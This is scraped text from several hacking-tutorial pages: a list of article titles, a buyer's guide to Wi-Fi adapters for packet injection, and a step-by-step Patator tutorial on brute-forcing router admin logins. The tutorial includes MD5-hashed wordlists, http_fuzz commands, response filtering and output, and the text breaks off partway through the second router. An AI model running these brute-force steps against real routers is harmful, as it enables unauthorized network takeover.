Servers)Hack Like a Pro:Metasploit for the Aspiring Hacker, Part 12 (Web Delivery for Linux or Mac)Hack Like a Pro:Metasploit for the Aspiring Hacker, Part 7 (Autopwn)Hack Like a Pro:Metasploit for the Aspiring Hacker, Part 10 (Finding Deleted Webpages)Hack Like a Pro:Windows CMD Remote Commands for the Aspiring Hacker, Part 1Hack Like a Pro:Metasploit for the Aspiring Hacker, Part 5 (Msfvenom)Hack Like a Pro:Metasploit for the Aspiring Hacker, Part 9 (How to Install New Modules)Hack Like a Pro:Metasploit for the Aspiring Hacker, Part 3 (Payloads)Hack Like a Pro:Metasploit for the Aspiring Hacker, Part 11 (Post-Exploitation with Mimikatz)Hack Like a Pro:Metasploit for the Aspiring Hacker, Part 6 (Gaining Access to Tokens)Hack Like a Pro:Getting Started with BackTrack, Your New Hacking SystemHack Like a Pro:How to Use PowerSploit, Part 1 (Evading Antivirus Software)Hack Like a Pro:How to Use Hacking Team's Adobe Flash ExploitHack Like a Pro:Metasploit for the Aspiring Hacker, Part 8 (Setting Up a Fake SMB Server to Capture Domain Passwords)News:What to Expect from Null Byte in 2015Mac for Hackers:How to Install the Metasploit FrameworkHack Like a Pro:Exploring the Inner Architecture of MetasploitHack Like a Pro:How to Hack Windows Vista, 7, & 8 with the New Media Center ExploitHacking Windows 10:How to Steal & Decrypt Passwords Stored in Chrome & Firefox RemotelyHow to Hack Windows 7:Sending Vulnerable Shortcut FilesHack Like a Pro:How to Save the World from Nuclear AnnihilationHack Like a Pro:How Windows Can Be a Hacking Platform, Pt. 1 (Exploit Pack)Hack Like a Pro:Metasploit for the Aspiring Hacker, Part 2 (Keywords)Hack Like a Pro:Linux Basics for the Aspiring Hacker, Part 1 (Getting Started)Hack Like a Pro:The Ultimate Command Cheat Sheet for Metasploit's MeterpreterHack Like a Pro:Hacking Samba on Ubuntu and Installing the MeterpreterCommunity Byte:HackThisSite, Realistic 3 - Real Hacking SimulationsCommunity Byte:HackThisSite, Realistic 5 - Real Hacking SimulationsCommunity Byte:HackThisSite, Realistic 4 - Real Hacking SimulationsCommunity Byte:HackThisSite, Realistic 2 - Real Hacking SimulationsCommunity Byte:HackThisSite, Realistic 1 - Real Hacking SimulationsCommunity Byte:HackThisSite Walkthrough, Part 2 - Legal Hacker Training |
Buy the Best Wireless Network Adapter for Wi-Fi Hacking in 2019 « Null Byte :: WonderHowTo | To hack a Wi-Fi network using Kali Linux, you needyour wireless cardto support monitor mode and packet injection. Not all wireless cards can do this, so I've rounded up this list of 2019's best wireless network adapters for hacking on Kali Linux to get you started hacking both WEP and WPA Wi-Fi networks.Wi-Fi Hacking for BeginnersKali Linux is by far the best supported hacking distro for beginners, and Wi-Fi hacking on Kali (previously called BackTrack) is where I started my own journey into hacking. In order to hack Wi-Fi, you will quickly learn that a wireless network adapter supporting packet injection and monitor mode is essential. Without one, many attacks are impossible, and the few that work can take days to succeed. Fortunately, there are several good adapters to choose from.Don't Miss:Select a Field-Tested Kali Linux Compatible Wireless AdapterA range of Kali Linux compatible network adapters.Image by SADMIN/Null ByteIf you're new to hacking Wi-Fi, Null Byte'sKali Pi hacking platformis a great way to get started hacking on Kali Linux for little investment. Any of the wireless network adapters on this list can be combined with a Raspberry Pi to build your own Wi-Fi hacking computer.A Raspberry Pi with a supported network is a powerful, low-cost Kali Linux hacking platform.Image by SADMIN/Null ByteDon't Miss:Set Up a Headless Raspberry Pi Hacking Platform Running KaliWhat's so great about wireless network adapters? By swapping out the antenna or adapter type, we can target different kinds of networks. We can even target far-away networks with the addition of special super long-range directional antennaslike the Yagi antenna($91.99).Chipsets Supported by Kali LinuxSo how do you pick the best wireless network adapter for hacking? If you're hacking on Kali, certain chipsets (the chip that controls the wireless adapter) will work without much or any configuration needed.Atheros AR9271 chipset inside the ALFA Network AWUS036NHA.Image by Maintenance script/WikidevChipsets that work with Kali include:Atheros AR9271Ralink RT3070Ralink RT3572Realtek 8187L (Wireless G adapters)Realtek RTL8812AU(newly in 2017)my research also suggests theRalink RT5370Nis compatibleIn 2017, Kali Linux began supporting drivers for theRTL8812AUwireless chipsets. These drivers are not part of the standard Linux kernel and have been modified to allow for injection. This is a big deal because this chipset is one of the first to support 802.11 AC, bringing injection-related wireless attacks to this standard.Kali Linux compatible adapters.Image by SADMIN/Null ByteAdapters That Use the Ralink RT3070 ChipsetThe Alfa AWUS036NH 2.4 GHz($31.99 on Amazon)The Alfa AWUS036NH is a b/g/n adapter with an absurd amount of range. This is amplified by the omnidirectional antenna and can be paired with aYagi($29.95) orPaddle($23.99) antenna to create a directional array.The AWUSO36NH.Image by SADMIN/Null ByteThe Alfa AWUS036NEH 2.4 GHz($29.99 on Amazon)If you're looking for a somewhat more compact wireless adapter that can be plugged in via USB, the Alfa AWUS036NEH is a powerful b/g/n adapter that's slim and doesn't require a USB cable to use.The AWUS036NEH, relatively compact with extreme range.Image by SADMIN/Null ByteThe Panda PAU05 2.4 GHz($13.99 on Amazon)Sometimes you need a stealthier option that's still powerful enough to pwn networks without making a big fuss about plugging in large, suspicious network adapters. Consider the g/n PAU05, affectionately nicknamed "El Stubbo" and a personal favorite both for its low profile and its aggressive performance in the short and medium range. Consider this if you need to gather network data without including everything within several blocks.A note on the Panda from one of our readers:The Panda PAUO5 on Amazon won't do packet injection. It seems they now ship with an unsupported chipset (RT5372), so make sure yours has the correct chipset!The PAU05, a super low-profile option that is one of my favorites.Image by SADMIN/Null ByteAdapters That Use the Atheros AR9271 ChipsetThe Alfa AWUS036NHA 2.4 GHz($37.69 on Amazon)The Alfa AWUS036NHA is my current long-range network adapter and the standard by which I judge other long-range adapters. For a long-range application, thispaired with a ridiculously big adapter($9.99) is a stable, fast, and well-supported b/g/n wireless network adapter.The AWUS036NHA, featuring great long-range performance.Image by SADMIN/Null ByteThe TP-LINK TL-WN722N 2.4 GHz($14.99 on Amazon)A favorite for newbies and experienced hackers alike, this compact b/g/n is among the cheapest but boasts surprisingly impressive performance. That being said,only v1 of this adapter will work with Kali Linux. The v2 version of this adapter is a different chipset, so make sure you check to see which yours is!WARNING: Only version ONE of this adapter will work with Kali.Image by SADMIN/Null ByteAdapters That Use the Ralink RT5370N ChipsetThe Detroit DIY Electronics Wifi Antenna For Raspberry Pi($11.99 on Amazon)While I haven't tested this IEEE 802.11n compatible adapter personally, the chipset is supported in Kali and it supports monitor mode. For an extremely compact adapter with an external antenna mount for swapping different types of antennas, the Detroit DIY Electronics Wifi Antenna For Raspberry Pi is a good starter option.Compact option from Detroit Electronics.Image viaDetroit ElectronicsAdapters That Use the Realtek RTL8812AU Chipset (New)The Alfa AWUS036ACH 802.11ac AC1200 Wide-Range USB 3.0 Wireless Adapter with External Antenna($59.99 on Amazon)Newly supported in 2017, the Alfa AWUS036ACH is a beast, with dual antennas and 2.4 GHz 300 Mbps/5 GHz 867 Mbps – 802.11ac and a, b, g, n compatibility. This is the newest offering I've found that's compatible with Kali, so if you're looking for the fastest and longest range, this would be the adapter to start with.To use this, you may need to first run the following.apt updateapt install realtek-rtl88xxau-dkmsThis will install the needed drivers, and you should be good to go.The Alfa AWUS036ACH, ready to hack on 802.11ac.Image viaAlfa WebsiteOther OptionsDuring my research, I also came across the following adapters with supported chipsets, but only anecdotal evidence of packet injection and monitor mode. If you're feeling adventurous, you can pick up one of the following supported adapters mention in the comments how it works for you.TheWiFi Module 4($27.95) by Hard Kernel uses the supported Ralink RT5572 chipset, which adds 5 GHz capabilities, and also works in 2.4 GHz.An ultra-compact option is also theWiFi Module 0($7.95), also by Hard Kernel, based on Ralink RT5370N chipset.Some of the top wireless network adapters for hacking.Image by SADMIN/Null ByteThat completes my roundup of wireless network adapters for hacking in 2019. Got a favorite I didn't list? Leave a comment and link us to it.Don't Miss:How to Select a Field-Tested Kali Linux Compatible Wireless AdapterFollow Null Byte onTwitter,Flipboard, andYouTubeSign up forNull Byte's weekly newsletterFollow WonderHowTo onFacebook,Twitter,Pinterest, andFlipboardWant to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseCover photo and screenshots by SADMIN/Null ByteRelatedHow to Hack Wi-Fi:Choosing a Wireless Adapter for HackingHow to Hack Wi-Fi:Get Anyone's Wi-Fi Password Without Cracking Using WifiphisherHow To:Check if Your Wireless Network Adapter Supports Monitor Mode & Packet InjectionHow to Hack Wi-Fi:Getting Started with the Aircrack-Ng Suite of Wi-Fi Hacking ToolsHow To:Hack 5 GHz Wi-Fi Networks with an Alfa Wi-Fi AdapterHow to Hack Wi-Fi:Breaking a WPS PIN to Get the Password with BullyHow to Hack Wi-Fi:Selecting a Good Wi-Fi Hacking StrategyHow To:Spy on Network Relationships with Airgraph-NgHow To:Hack Wi-Fi Networks with BettercapHow To:Automate Wi-Fi Hacking with Wifite2How To:Extend a (Hacked)Router's Range with a Wireless Adapter.How to Hack Wi-Fi:Cracking WPA2-PSK Passwords Using Aircrack-NgHow To:Hunt Down Wi-Fi Devices with a Directional AntennaHow To:Pick an Antenna for Wi-Fi HackingHow To:Share Wi-Fi Adapters Across a Network with Airserv-NgHow to Hack Wi-Fi:Cracking WPA2 Passwords Using the New PMKID Hashcat AttackHow to Hack Wi-Fi:Disabling Security Cameras on Any Wireless Network with Aireplay-NgHow To:Build a Pumpkin Pi — The Rogue AP & MITM Framework That Fits in Your PocketHow to Hack Wi-Fi:Cracking WEP Passwords with Aircrack-NgHow to Hack Wi-Fi:Cracking WPA2-PSK Passwords with CowpattyNews:The Best Black Friday 2019 Deals for iPhone & Android ChargersHow to Hack Wi-Fi:Hunting Down & Cracking WEP NetworksHow To:Select a Field-Tested Kali Linux Compatible Wireless AdapterBuyer's Guide:Top 20 Hacker Holiday Gifts for Christmas 2017How to Hack Wi-Fi:Creating an Invisible Rogue Access Point to Siphon Off Data UndetectedHow To:Hack WiFi Using a WPS Pixie Dust AttackHow To:Hack Wi-Fi & Networks More Easily with Lazy ScriptHow To:Use Kismet to Watch Wi-Fi User Activity Through WallsHow To:Intercept Images from a Security Camera Using WiresharkHow To:Hack WPA & WPA2 Wi-Fi Passwords with a Pixie-Dust Attack Using AirgeddonHow to Hack Wi-Fi:Getting Started with Terms & TechnologiesHow To:Crack WPA & WPA2 Wi-Fi Passwords with PyritHacking Android:How to Create a Lab for Android Penetration TestingHacking Gear:10 Essential Gadgets Every Hacker Should TryHow To:Crack Wi-Fi Passwords—For Beginners!How To:Find Saved WiFi Passwords in WindowsHow To:Load Kali Linux on the Raspberry Pi 4 for the Ultimate Miniature Hacking StationHow To:Enable Monitor Mode & Packet Injection on the Raspberry PiHow To:Hack Your Neighbor with a Post-It Note, Part 1 (Performing Recon)News:Secure Your Wireless Network from Pillage and Plunder in 8 Easy Steps |
How to Break into Router Gateways with Patator « Null Byte :: WonderHowTo | Router gateways are responsible for protecting every aspect of a network's configuration. With unfettered access to these privileged configurations, an attacker on a compromised Wi-Fi network can perform a wide variety of advanced attacks.Brute-Forcing Router Logins with PatatorAfter hacking a Wi-Fi router with tools likeAircrack,Wifiphisher, andWifite2, there are several avenues an attacker may explore to further compromise the network. Assuming the gateway isn't usingdefaultcredentials, the attacker will try toexploit a vulnerability in the routeror perform a brute-force attack.Don't Miss:Map Networks & Connect to Discovered Devices Using Your PhoneWith access to the router's gateway and complete control over the configurations, a hacker in this position of power can perform a variety of attacks. They could do any of the following, and then some.perform DNS poisoning attacksmodify or manipulate forwarding portsreset the gateway passwordinject JavaScript into a browser on the networkreset the Wi-Fi name and passwordinstall a malicious firmwaremodify or delete login and system logsmodify or disable the firewallPatator, likeHydraandMedusa, is a command-line brute-forcing tool. The developers have tried to make it more reliable and flexible than its predecessors. My favorite feature of Patator is theraw_requestmodule that allows penetration testers to brute-force HTTP logins much likeBurp's Intruder module.A General Outline for an AttackTo demonstrate, I'm going to show how to use Patator against two popular consumer routers found on Amazon. Not all router gateways handle authentication the same. I'll show a kind ofgeneralprocedure to follow when performing such attacks.Capture a login request: A single login attempt is captured in Burp to analyze the request.Identify the parameters: It's important to identify where the dynamic parameters (i.e., username and password) are stored in the request as some login forms handle authentication differently.Modify and save the request: After the parameters have been identified, insert a placeholder into the request to help Patator iterate through the desired wordlist.Generate a targeted wordlist: Atargeted wordlistcontaining 10,000 passwords is usually more effective than a wordlist of 10 million random passwords. Some authentication methods involve hashing or encoding the credentials in the client's browser before making the request. The wordlist will need to reflect this as needed.Identity and filter failed requests: With modern routers, very rarely will a successful login attempt makes itself known. Understanding and filtering HTTP status codes play a big part in identifying the difference between a failed and successful login attempt.Now, a word of caution: Patator isn't very beginner-friendly, so there's a bit of a learning curve with the syntax that can take some getting used to. Before proceeding, you should have a general understanding of HTTP requests, HTTP status codes, and some experience with Burp's Intruder module.Install Patator in Kali LinuxUse the followingapt-getcommand to install Patator in Kali.~# apt-get update && apt-get install patator
Reading package lists... Done
Building dependency tree
Reading state information... Done
The following NEW packages will be installed:
ca-certificates-java default-jre default-jre-headless fonts-dejavu-extra freerdp2-x11 ike-scan java-common ldap-utils libatk-wrapper-java libatk-wrapper-java-jni libfreerdp-client2-2
libfreerdp2-2 libgif7 libwinpr2-2 openjdk-11-jre openjdk-11-jre-headless patator python3-ajpy python3-bcrypt python3-dnspython python3-ipy python3-mysqldb python3-nacl python3-openssl
python3-paramiko python3-psycopg2 unzip
0 upgraded, 27 newly installed, 0 to remove and 0 not upgraded.
Need to get 43.9 MB of archives.
After this operation, 192 MB of additional disk space will be used.
Do you want to continue? [Y/n]When that's done, use the--helpoption to verify Patator was successfully installed and view the available modules.~# patator --help
Patator v0.7 (https://github.com/lanjelot/patator)
Usage: patator module --help
Available modules:
+ ftp_login : Brute-force FTP
+ ssh_login : Brute-force SSH
+ telnet_login : Brute-force Telnet
+ smtp_login : Brute-force SMTP
+ smtp_vrfy : Enumerate valid users using SMTP VRFY
+ smtp_rcpt : Enumerate valid users using SMTP RCPT TO
+ finger_lookup : Enumerate valid users using Finger
+ http_fuzz : Brute-force HTTP
+ ajp_fuzz : Brute-force AJP
+ pop_login : Brute-force POP3
+ pop_passd : Brute-force poppassd (http://netwinsite.com/poppassd/)
+ imap_login : Brute-force IMAP4
+ ldap_login : Brute-force LDAP
+ smb_login : Brute-force SMB
+ smb_lookupsid : Brute-force SMB SID-lookup
+ rlogin_login : Brute-force rlogin
+ vmauthd_login : Brute-force VMware Authentication Daemon
+ mssql_login : Brute-force MSSQL
+ oracle_login : Brute-force Oracle
+ mysql_login : Brute-force MySQL
+ mysql_query : Brute-force MySQL queries
+ rdp_login : Brute-force RDP (NLA)
+ pgsql_login : Brute-force PostgreSQL
+ vnc_login : Brute-force VNC
+ dns_forward : Forward DNS lookup
+ dns_reverse : Reverse DNS lookup
+ snmp_login : Brute-force SNMP v1/2/3
+ ike_enum : Enumerate IKE transforms
+ unzip_pass : Brute-force the password of encrypted ZIP files
+ keystore_pass : Brute-force the password of Java keystore files
+ sqlcipher_pass : Brute-force the password of SQLCipher-encrypted databases
+ umbraco_crack : Crack Umbraco HMAC-SHA1 password hashes
+ tcp_fuzz : Fuzz TCP services
+ dummy_test : Testing moduleAs stated, we'll focus on thehttp_fuzzmodule, designed to brute-force HTTP logins as well as perform various types of web-based injection attacks (e.g.,fuzzing). View the availablehttp_fuzzoptions using the following command.~# patator http_fuzz --help
Patator v0.7 (https://github.com/lanjelot/patator)
Usage: http_fuzz <module-options ...> [global-options ...]
Examples:
http_fuzz url=http://10.0.0.1/FILE0 0=paths.txt -x ignore:code=404 -x ignore,retry:code=500
http_fuzz url=http://10.0.0.1/manager/html user_pass=COMBO00:COMBO01 0=combos.txt -x ignore:code=401
http_fuzz url=http://10.0.0.1/phpmyadmin/index.php method=POST body='pma_username=root&pma_password=FILE0&server=1&lang=en' 0=passwords.txt follow=1 accept_cookie=1 -x ignore:fgrep='Cannot log in to the MySQL server'
Module options:
url : target url (scheme://host[:port]/path?query)
body : body data
header : use custom headers
method : method to use [GET|POST|HEAD|...]
raw_request : load request from file
scheme : scheme [http|https]
auto_urlencode: automatically perform URL-encoding [1|0]
user_pass : username and password for HTTP authentication (user:pass)
auth_type : type of HTTP authentication [basic | digest | ntlm]
follow : follow any Location redirect [0|1]
max_follow : redirection limit [5]
accept_cookie : save received cookies to issue them in future requests [0|1]
proxy : proxy to use (host:port)
proxy_type : proxy type [http|socks4|socks4a|socks5]
resolve : hostname to IP address resolution to use (hostname:IP)
ssl_cert : client SSL certificate file (cert+key in PEM format)
timeout_tcp : seconds to wait for a TCP handshake [10]
timeout : seconds to wait for a HTTP response [20]
before_urls : comma-separated URLs to query before the main request
before_header : use a custom header in the before_urls request
before_egrep : extract data from the before_urls response to place in the main request
after_urls : comma-separated URLs to query after the main request
max_mem : store no more than N bytes of request+response data in memory [-1 (unlimited)]
persistent : use persistent connections [1|0]
Global options:
--version show program's version number and exit
-h, --help show this help message and exit
Execution:
-x arg actions and conditions, see Syntax below
--start=N start from offset N in the wordlist product
--stop=N stop at offset N
--resume=r1[,rN]* resume previous run
-e arg encode everything between two tags, see Syntax below
-C str delimiter string in combo files (default is ':')
-X str delimiter string in conditions (default is ',')
--allow-ignore-failures
failures cannot be ignored with -x (this is by design
to avoid false negatives) this option overrides this
behavior
Optimization:
--rate-limit=N wait N seconds between each test (default is 0)
--timeout=N wait N seconds for a response before retrying payload
(default is 0)
--max-retries=N skip payload after N retries (default is 4) (-1 for
unlimited)
-t N, --threads=N number of threads (default is 10)
Logging:
-l DIR save output and response data into DIR
-L SFX automatically save into DIR/yyyy-mm-dd/hh:mm:ss_SFX
(DIR defaults to '/tmp/patator')
Debugging:
-d, --debug enable debug messages
Syntax:
-x actions:conditions
actions := action[,action]*
action := "ignore" | "retry" | "free" | "quit" | "reset"
conditions := condition=value[,condition=value]*
condition := "code" | "size" | "time" | "mesg" | "fgrep" | "egrep" | "clen"
ignore : do not report
retry : try payload again
free : dismiss future similar payloads
quit : terminate execution now
reset : close current connection in order to reconnect next time
code : match status code
size : match size (N or N-M or N- or -N)
time : match time (N or N-M or N- or -N)
mesg : match message
fgrep : search for string in mesg
egrep : search for regex in mesg
clen : match Content-Length header (N or N-M or N- or -N)
For example, to ignore all redirects to the home page:
... -x ignore:code=302,fgrep='Location: /home.html'
-e tag:encoding
tag := any unique string (eg. T@G or _@@_ or ...)
encoding := "hex" | "unhex" | "b64" | "md5" | "sha1" | "url"
hex : encode in hexadecimal
unhex : decode from hexadecimal
b64 : encode in base64
md5 : hash in md5
sha1 : hash in sha1
url : url encode
For example, to encode every password in base64:
... host=10.0.0.1 user=admin password=_@@_FILE0_@@_ -e _@@_:b64
Please read the README inside for more examples and usage information.1. Attacking the Medialink AC1200 RouterThe first router being attacked is theMedialink AC1200. It's currently one of Amazon's top choices for consumer router's and quite popular.Step 1: Capture a Login Request with BurpAfterconfiguring Firefox with Burp Suite's Proxy module, navigate to the AC1200's gateway at http://192.168.8.1/login.html.Type "password" into the password field and pressEnter. Burp will intercept the login and display the below request.Step 2: Identify the ParametersNotice thepassword=parameter isn't "password" as expected, but instead the scrambled "5f4dcc3b5aa765d61d8327deb882cf99" string.Those familiar withpassword hashingmay recognize the hash as the MD5 for "password." It can be verified using the below command which prints the desired string into themd5sumcommand.~# printf 'password' | md5sum
5f4dcc3b5aa765d61d8327deb882cf99 -That tells us that the wordlist used when brute-forcing the gateway must be in MD5 format. With this particular router, at the gateway, there's no available field for username input. We can see from the captured data that the "admin" username is embedded into the request. So there's only one dynamic parameter: the password.Step 3: Modify & Save the Raw RequestChange the hashed password parameter to "FILE0" within the request. The modification will act as a placeholder in the request that indicates to Patator where to insert the passwords. (The reason for this will be clear in a later step.)When that's done, right-click inside the Burp window and select the "Copy to file" option. Save it to the /tmp directory with the "router_request.txt" filename.Step 4: Generate a Targeted WordlistAs we discovered previously, passwords are hashed in the browser before being sent to the router. Patator has a built-in feature to hash passwords, but let's take this opportunity to learn some Bash password manipulation tricks.First, download a preferred wordlist. Anygeneric wordlistwill do fine for testing purposes. Use the belowwgetcommand to download my wordlist generated by analyzingleaked databases.~# wget 'https://git.io/fhhvc' -O /tmp/wordlist.txt
--2020-01-15 03:19:58-- https://git.io/fhhvc
Resolving git.io (git.io)... 52.7.169.168
Connecting to git.io (git.io)|52.7.169.168|:443... connected.
HTTP request sent, awaiting response... 302 Found
Location: https://raw.githubusercontent.com/tokyoneon/1wordlist/master/1wordlist2rulethem%40ll.txt [following]
--2019-03-08 03:20:01-- https://raw.githubusercontent.com/tokyoneon/1wordlist/master/1wordlist2rulethem%40ll.txt
Resolving raw.githubusercontent.com (raw.githubusercontent.com)... 151.101.68.133
Connecting to raw.githubusercontent.com (raw.githubusercontent.com)|151.101.68.133|:443... connected.
HTTP request sent, awaiting response... 200 OK
Length: 25585 (25K) [text/plain]
Saving to: ‘wordlist.txt’
wordlist.txt 100%[========================================>] 24.99K 68.9KB/s in 0.4s
2020-01-15 03:20:05 (68.9 KB/s) - ‘wordlist.txt’ saved [25585/25585]The below Bash one-liner will use awhileloop to iterate through the passwords in the wordlist. Each password will be converted into an MD5 and appended to the md5_wordlist.txt file.~# while read password; do printf "$password" | md5sum | awk '{print $1}'; done < /tmp/wordlist.txt >>/tmp/md5_wordlist.txtThe new md5_wordlist.txt file can be viewed using the belowheadcommand, to print the first ten lines.~# head /tmp/md5_wordlist.txt
e10adc3949ba59abbe56e057f20f883e
e587466319da83fe4bdf4ceae9746357
dc483e80a7a0bd9ef71d8cf973673924
eba4820c4a707c3c72d16050177423b6
9924d38821446082ce5e4c9d88e1430f
b3d3bdba829b1fef75a5b22c20a14738
5f4dcc3b5aa765d61d8327deb882cf99
e680528370af6ef220d0f23b8e58e812
d234e0453a5f37630379880b9136e959
1acc444503b44377c3ba6e595fcf2940Step 5: Identify & Filter Failed RequestsWith the router_request.txt and the wordlist of hashed passwords, the router's gateway can be brute-forced with the following Patator command. To stop the brute-force attack at any time, pressControl-Con the keyboard.~# patator http_fuzz raw_request=/tmp/router_request.txt accept_cookie=1 follow=1 0=/tmp/md5_wordlist.txt -l /tmp/AC1200To break that command down:raw_request=— Use the router_request.txt created in an earlier step to generate login attempts against the router's gateway.accept_cookie=— Save received cookies to issue them in future requests.follow=— Follow Location redirects (e.g.,status code302), for both failed and successful login attempts if instructed by the server.0=— The "FILE0" placeholder in the router_request.txt will iterate through the provided list of passwords.-l— Save output data into the provided directory. All of Patator's responses will be stored in an organized fashion.After running the command, my output looks like this:code size:clen time | candidate | num | mesg
-----------------------------------------------------------------------------
200 20:-1 0.015 | e10adc3949ba59abbe56e057f20f883e | 1 | HTTP/1.0 200 OK
200 20:-1 0.035 | e587466319da83fe4bdf4ceae9746357 | 2 | HTTP/1.0 200 OK
200 20:-1 0.048 | dc483e80a7a0bd9ef71d8cf973673924 | 3 | HTTP/1.0 200 OK
200 20:-1 0.041 | eba4820c4a707c3c72d16050177423b6 | 4 | HTTP/1.0 200 OK
200 20:-1 0.054 | 9924d38821446082ce5e4c9d88e1430f | 5 | HTTP/1.0 200 OK
200 20:-1 0.060 | 5f4dcc3b5aa765d61d8327deb882cf99 | 7 | HTTP/1.0 200 OK
200 20:-1 0.067 | 1acc444503b44377c3ba6e595fcf2940 | 10 | HTTP/1.0 200 OK
200 20:-1 0.069 | 25d55ad283aa400af464c76d713c07ad | 11 | HTTP/1.0 200 OK
200 20:-1 0.069 | d8578edf8458ce06fbc5bb76a58c5ca4 | 12 | HTTP/1.0 200 OK
200 20:-1 0.070 | bfcfa776182bf88f23cc0e78bde9bd55 | 13 | HTTP/1.0 200 OK
200 20:-1 0.070 | 5fcfd41e547a12215b173ff47fdd3739 | 14 | HTTP/1.0 200 OK
200 20:-1 0.070 | 02c75fb22c75b23dc963c7eb91a062cc | 15 | HTTP/1.0 200 OK
200 20:-1 0.079 | b3d3bdba829b1fef75a5b22c20a14738 | 6 | HTTP/1.0 200 OK
200 20:-1 0.070 | f26e6a5828c8a1c908f86c0674c4b0c1 | 16 | HTTP/1.0 200 OK
200 20:-1 0.070 | 0d107d09f5bbe40cade3de5c71e9e9b7 | 17 | HTTP/1.0 200 OK
200 20:-1 0.073 | e680528370af6ef220d0f23b8e58e812 | 8 | HTTP/1.0 200 OK
200 20:-1 0.070 | 25f9e794323b453885f5181f1b624d0b | 18 | HTTP/1.0 200 OK
200 20:-1 0.086 | d234e0453a5f37630379880b9136e959 | 9 | HTTP/1.0 200 OK
200 20:-1 0.069 | 9aaee58c21bf17a001b5325dffecbb6c | 19 | HTTP/1.0 200 OK
200 20:-1 0.069 | c41788ac68e6c17c59a6412c424dc763 | 20 | HTTP/1.0 200 OK
200 20:-1 0.069 | 7702417fd301623eff2ba8f6abf05ff6 | 21 | HTTP/1.0 200 OK
200 20:-1 0.069 | a79e7fabc870d2c67141008c58088b47 | 31 | HTTP/1.0 200 OK
200 20:-1 0.069 | e99a18c428cb38d5f260853678922e03 | 22 | HTTP/1.0 200 OK
200 20:-1 0.069 | 4297f44b13955235245b2497399d7a93 | 32 | HTTP/1.0 200 OK
200 20:-1 0.069 | e7d094da9fe5b55c3a84806ba4fd3276 | 23 | HTTP/1.0 200 OK
200 20:-1 0.067 | 9ccc031dbebc6705fc8443df29b0971f | 33 | HTTP/1.0 200 OK
200 20:-1 0.069 | 04085330aed79347b6427f9111ce384f | 24 | HTTP/1.0 200 OK
200 20:-1 0.069 | 1c63129ae9db9c60c3e8aa94d3e00495 | 34 | HTTP/1.0 200 OK
200 20:-1 0.069 | ccebddaa34a9459df50d2d32177ea06e | 25 | HTTP/1.0 200 OK
200 20:-1 0.069 | 5416d7cd6ef195a0f7622a9c56b55e84 | 26 | HTTP/1.0 200 OK
200 20:-1 0.069 | dccfdb716551ca6210e9b93248674dd7 | 27 | HTTP/1.0 200 OK
200 20:-1 0.069 | 1f6cac35000ad57b1af2e34926043ebe | 28 | HTTP/1.0 200 OK
200 20:-1 0.069 | bed128365216c019988915ed3add75fb | 29 | HTTP/1.0 200 OK
200 20:-1 0.069 | bc597773a32c44479efd83855733aed6 | 30 | HTTP/1.0 200 OK
200 20:-1 0.071 | d5e0708d403467017d4dd217178112b5 | 41 | HTTP/1.0 200 OK
200 20:-1 0.071 | 161ebd7d45089b3446ee4e0d86dbcf92 | 42 | HTTP/1.0 200 OK
200 20:-1 0.070 | 5dc5d1aa29ea20ce91ec6c7fe5a44f56 | 43 | HTTP/1.0 200 OK
200 20:-1 0.070 | 3d68b18bd9042ad3dc79643bde1ff351 | 44 | HTTP/1.0 200 OK
200 20:-1 0.069 | b76be48e061aa8948d153fec67a08cb4 | 35 | HTTP/1.0 200 OK
200 20:-1 0.071 | 3bf1289e5cd6187c0e0de34edfe27b90 | 45 | HTTP/1.0 200 OKHypertext Transfer Protocol (HTTP) status codes, also known asresponse codes, are issued by web servers to our web browser when we make requests. These codes are a way for web servers to communicate errors to syadmins, web developers, and end-users alike.Sometimes the 200 ("200 OK") status code is an indication that the server accepted the provided password. In this case, every single login attempt is producing the "200 OK" response — so it's actually helping to identify what a failed login attempt looks like.The "size" column can also be extremely helpful. It will display the size (in bytes) of the server's response to the login attempt. It's returning 20 bytes with every login attempt, so it's probably safe to assume this byte size indicates a failed login attempt, in which case, it's safe to omit responses of that size. We can do so by adding the-x ignore:size=20option and argument.~# patator http_fuzz raw_request=router_request.txt -x ignore:size=20 accept_cookie=1 follow=1 0=/tmp/md5_wordlist.txt -l /tmp/AC1200
code size:clen time | candidate | num | mesg
-----------------------------------------------------------------------------
200 3962:3363 0.201 | d487dd0b55dfcacdd920ccbdaeafa351 | 291 | HTTP/1.0 200 OK
Hits/Done/Skip/Fail/Size: 1/3142/0/0/3142, Avg: 138 r/s, Time: 0h 0m 22sNow, only one request is displayed, with a size of 3,962 bytes.There are a few ways of unhashing a discovered password. The passwords in both wordlist.txt and md5_wordlist.txt appear in the same order. The only difference is that one wordlist is in plain text; the other is hashed.Below, we'll usenlto prepend a number to every line in the md5_wordlist.txt, thengrepfor the hash.~# nl /tmp/md5_wordlist.txt | grep 'd487dd0b55dfcacdd920ccbdaeafa351'
291 d487dd0b55dfcacdd920ccbdaeafa351The hash appears on line 291 of the md5_wordlist.txt file. Now, usenlon the plain text wordlist, and grep to find the line number.~# nl /tmp/wordlist.txt | grep '291'
291 yellowThe password is "yellow." It can be further verified using the following command.~# printf 'yellow' | md5sum
d487dd0b55dfcacdd920ccbdaeafa3512. Attacking the Netgear N300 RouterA router from theNetgear N300 seriesis next on the list of targets. It's also one of Amazon's top choices for entry-level, consumer Wi-Fi routers.Step 1: Capture a Login Request with BurpWe'll follow the same procedure as before, starting with capturing the raw request. Navigate to the router's gateway using a web browser configured to proxy through Burp. Enter the "admin" and "password" credentials when prompted.Step 2: Identify the ParametersNotice this time there isn't an obviouspassword=parameter like the Medialink AC1200 router.The above string isn't hashed with MD5. While it may appear encrypted or secured in some way, it's using a simple base64 encoding. The string is decoded using the below command.~# printf 'YWRtaW46cGFzc3dvcmQ=' | base64 -d
